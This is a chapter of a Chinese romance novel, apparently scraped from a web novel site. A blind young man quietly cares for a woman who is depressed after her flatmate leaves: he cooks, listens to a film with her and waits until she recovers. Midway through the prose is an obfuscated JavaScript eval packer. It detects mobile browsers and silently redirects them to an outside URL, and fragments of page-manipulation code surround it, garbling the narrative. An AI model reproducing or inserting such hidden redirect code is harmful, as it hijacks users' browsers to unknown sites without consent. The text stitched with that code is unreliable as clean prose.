“我热爱敲门,特别热爱敲门。”他说,“敲门永存。” “给我开门,好不好?” 25. 第 25 章 迟燃坐在沙发上,手还捏着宋呓欢的袖子。 “…你敲门好吵。”她说。 “你声音怎么这么虚?”迟燃没松手,问她,“没吃饭吗?” 宋呓欢点点头,点完反应过来他看不见,又轻声说:“嗯。” 听她这虚弱样,迟燃都没敢问她几天没吃饭。 “先吃个牛油果吧。”他将带来的牛油果递给她,“拿勺子吃。” 宋呓欢接过来拿在手上,牛油果已经切开,中间有一条细长的刀痕。 “…你怎么会来?”她问。 迟燃叹口气:“果果很担心你。” 宋呓欢摸到救命稻草似的,猛地攥住他的手腕:“她搬走以后,联系过你?!” 迟燃沉默许久。 果果搬走那天,迟燃和钱宇正好出门健身,在楼道里碰上她。 搬家师傅用箱子挡住电梯,回身去搬另外两个。 “嚯,你们要搬走?”钱宇问,“怎么都没提前说一声,我帮你们搬得了。” “我自己,欢欢不搬。”果果笑着说。 迟燃侧耳片刻,问:“她没送你吗?” 果果停顿许久才回答:“她…她因为我搬出去,有点不开心,在屋子里呢。” “你们租期没商量好吗?”钱宇问。 “…算是吧。”果果说。 搬家师傅搬完所有箱子,挡着电梯,回身叫她:“小姑娘,一道下去呗。” “来了。”果果说。 她走到电梯口,又走回来:“迟燃,能拜托你个事吗?” 迟燃被她喊得一愣,继而点点头,“什么事?” “她真挺不开心的,要是…要是她有什么不对劲,你能帮忙照看她吗?”果果说。 钱宇问:“嗯?你自己给她打电话不就完了?” “可以,我会去看她。” 没等果果回答,迟燃便答应下来。 “还有就是…”果果犹豫着说,“你要是去家里找她,尽量自己一个人去。…会不方便吗?” “不会。”迟燃说。 等果果走后,钱宇嘀嘀咕咕地说:“怎么不让我去咯?肯定是觉得我不靠谱…” … 宋呓欢聚精会神地听完他说的每个字,生锈似的大脑缓缓运转,拼命理解。 …所以他也没有果果的联系方式。 她和果果真的再没有任何瓜葛。 她沮丧得说不出话。迟燃皱眉攥住她的手腕,示意她吃牛油果,“吃点东西。” 宋呓欢机械地握住牛油果一掰,分成两份后,她没拿勺子,直接咬一口。 有些油腻,她没再吃第二口,而是将牛油果放在茶几上。动作有些重,茶几上的药盒哗啦啦地响。 宋呓欢下意识地一抬头,但迟燃大约没察觉,皱眉催促她再吃点。 她后知后觉地意识到果果的良苦用心,她让迟燃独自来找她,这样钱宇才不会看到满桌的药盒。 这些依然是只属于她们两个人的秘密。 她闭了闭酸胀的眼睛,轻声叹息。 “你得吃点东西。”迟燃说,“不吃这个…我给你做点东西吃吧?” 宋呓欢一怔,“啊?你做?” “对,盲人Omakase,吃不吃?”迟燃问。 厨房里传来有些手忙脚乱的忙碌声,偶尔传来东西掉落的声音,和着Siri的语音播报。 “一盒鸡蛋…酱油…一盒鸡蛋…” 宋呓欢脑袋发空,愣愣地坐在沙发上。 果果搬走带给她的除了不甘与难过,更多的是迷茫。果果是她这场出逃的唯一共犯,共犯搬走后,房间空荡荡,她的脑袋也空荡荡。 此前她从未认真思考过这场出逃真正的意义,只觉得和果果在一起,做自己想做的事就是自由。 可不知从什么时候起,她想做的事变成王女士不让做的事,她的自由变成狭窄的小路。 果果在时,每天都很喧闹,她不会花大把的时间思考意义。现在房间安静下来,迷茫便如房间内的大象,无法忽视。 厨房传来不甚熟练的打鸡蛋的声音,时不时响起流水声。 果果叮嘱迟燃来照看她,那么他必然会问她,为什么她们一幅永不来往的样子,她怎么这么颓废。 她不知道怎么回答,只好在心里反复编出些模棱两可的答案,等着应付他。 然而,迟燃什么都没问。 他用微波炉做了份蒸蛋给她吃,水放少了,加热时间太长,蒸蛋表面很多裂纹,吃起来也干柴柴的。 “难吃吗?” 这是他问的唯一一个问题,问完就托腮沉默着等她吃。 难吃。 宋呓欢小口小口地吃着寡淡干巴的蛋羹,也不说话。 迟燃侧头用耳朵对着她,大约在听她吃饭的声音,判断她吃了多少。 她努力吃也只吃下半份,将蛋羹放回桌上。 迟燃摸过去,掂了掂重量,说:“吃得不错。” 然后他没再说什么,还是什么问题都没问。 他起身慢吞吞地朝着门口走。他动作非常慢,看起来随时会踢到脚趾,宋呓欢只好伸手扶着他。 她将人送到玄关,拉开门,宣告这场莫名其妙的会面终止。 关门前,迟燃忽然挡住门,叫她名字:“宋呓欢。” 宋呓欢迟缓地抬头:“嗯?” 他倏尔笑起来,是她从未见过的柔和笑意,光洒在他脸上,灰调的瞳孔透出淡淡的光泽。 “我明天还来。”他学着她的语调又说一次,“我明天还来~~” 第二天他真的来了,这次带来做好的山药羹。 “你会做这么复杂的菜?”宋呓欢嗅着淡淡的清甜,问他。 迟燃托着腮说:“赞美破壁机,阿门。” 然后他没再说什么,就默默地坐着陪她吃,像个主打陪伴的人形抱枕。 等她放下,依然掂掂碗,皱眉问她:“你每天只吃这么一点吗?” 宋呓欢没说话,他也没再追问,空气又归于沉默。 她自己待着的时候觉得没什么,但两个人面对面又不说话,就有些闷。 不说什么的话…总归得干点什么吧? “要看个电影…”她刚开口就闭上嘴。 迟燃挑挑眉,也没损她:“看吧,我听着。” 宋呓欢在ipad上翻找一会儿,选出几步热门的,张嘴想让他选,但什么都没说出来。 …不管让不让他选,好像都很冒犯的样子。 “你想看哪个?”见她许久没动静,他说。 宋呓欢犹豫片刻说:“…心灵奇旅吧?” 迟燃一挑眉,露出个有些惊喜的神情。 “巧了,这是我‘看’的最后一部电影。” 宋呓欢:“那还看吗?” “听。”迟燃严谨地回,“就这个吧。” 心灵奇旅是部很好看的动画电影,是个探寻人生与存在意义的故事。在电影的世界观里,每个灵魂需要找到自己象征热忱的火花才能重返地球。 宋呓欢开始还能给迟燃补充些台词里没有的信息,后来看入迷就顾不上了。 片尾曲响起的时候,宋呓欢忽然有些想哭。 这个念头清晰地冒出来之前,眼泪早已喷涌而出,淅淅沥沥地砸在沙发的布料上。 她从22号与乔伊的迷茫里看到自己的迷茫,却没能从他们的释然中找到释然。毕竟他们身上不用装这个不定时炸弹,滴滴答答地读着秒,催得人憋闷。 真的憋闷。 这样的憋闷化作断线的雨,将她淋湿。 在录音室里的时候,她说迟燃消极,说他只盯着结局,可她难道不是吗?只是那时候,她没见过结局,而迟燃就站在结局之中,她那是站着说话不腰疼罢了。 要是站在结局回头望去,一切都是命定。 迟燃忽然将手伸到她面前,手掌向上,跟要接什么东西似的。 “…干什么?”她鼻音好重。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351256|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “脸放上来。”他说,“给你擦眼泪。” 她咕哝:“才不要。” 迟燃也没坚持,收回手起身。 “那我先走了。”他说,“…我明天还来。” 他们除了看电影,基本没说几句。 他依然什么都没问,直到离开。 迟燃稍微熟悉客厅结构,走的时候没叫她,独自朝门走。 他路过地上废旧纸箱的时候被绊了一下,膝盖磕在墙角,他站在原地缓了许久,连呼吸声都顿住。 “…磕得很重吗?”宋呓欢连忙问。 迟燃咬着牙忍痛:“没重到骨折…但也没轻到不疼。” 宋呓欢哭完放松许多,很没良心地弯弯嘴角,偷偷笑。 “我知道你在笑。”他说。 她底气不足:“也没有…” 他皱眉,“你否认的时候倒是别咧着个嘴啊。” 将人送走后,宋呓欢站在原地看看果果空荡荡的房间,又看看客厅满地狼藉。 纸箱上落了灰,满是脚印,整个客厅都有些乌烟瘴气。 她盯着那块绊到迟燃的纸盒看,看了一会将所有盒子收拢起来,丢到门外。扫除这种事,一旦开始就会连贯地继续下去,她收拾垃圾,扫完地,又翻出拖把。 家里的地一般都是果果拖,一边拖地一边唱歌。她五音不全且气短,无敌难听,像念经,还得是邪教念经… 收冰箱的时候,她翻出半份巨大的黑虎虾,想起她跟迟燃闹掰,果果最担心的是这盒虾要不要还回去… 还有茶几上的药瓶,强迫症果严格按照从高到矮,从宽到窄且高矮优先于宽窄的顺序摆放,她摆错就要被这位普通话一甲的人民教师字正腔圆地教训说没条理… 宋呓欢默默将整间屋子内内外外地打扫,也默默将与果果相处的回忆复习一遍。 那些想不开的事情,渐渐被手上忙碌的动作与汹涌具体的回忆冲刷着,越来越淡。 随着房间越来越整洁,她也越来越轻松。 完工的那一秒,她望着整洁的房间,忽然从内到外都通畅淋漓。 想通了。 分离是真的,但与果果携手逃亡的这一年也是真的,勇气与爱更是真的不能再真。 那就行了。 看啊,尽管站在结尾,但过去的每一秒都作数。 宋呓欢自迷茫中探出头来,与早春煦阳一道,重新住进一尘不染的房间。 迟燃次日再来时,带着粉色的漂亮贝果。 “…这也是破壁机做的?”宋呓欢狐疑问,“还挺好吃。” 迟燃说:“破壁机不能装太满。” 宋呓欢迷茫地问:“什么?” “装太满会烧坏,钱宇在收拾,这是Tims。” 迟燃说着抬手指指,看样子是想指贝果,但指的位置差着十万八千里。 宋呓欢慢慢咀嚼贝果,轻声说:“好吃。” 迟燃微微睁大眼睛,偏过头,停顿片刻才笃定地说:“你好了。” 她抿抿嘴唇,细微的甜在舌尖化开。 迟燃来找她的第一天,她本以为他就算不问,也会带着大段的说教。她很是反骨地提前准备满肚子的敷衍与反驳。 他要是敢说什么我陪着你,人生皆过客这种狗屁不通的酸话,她必然将人怼回去,赶出去。 可他从头至尾,半句不问,半句不劝。 迟燃是真消极,他的消极让他格外清醒。 每个人是自己的牢,人与人也许相似,但牢与牢必定不同。 他像个荒原黑夜中的先行者,抢先抵达晦暗道路的终点,深知最好的引路方式不是信号弹,而是等待。 他沉默地等待她自己走出来,迈出画地为牢的困境。 等她走出来,他就站在终点笑吟吟地说句,嘿,你好了。 这人讨厌死了。 于是在今日份无理由会晤的尾声,夕阳落下时,宋呓欢拉住他的手。 “你别走,陪我。”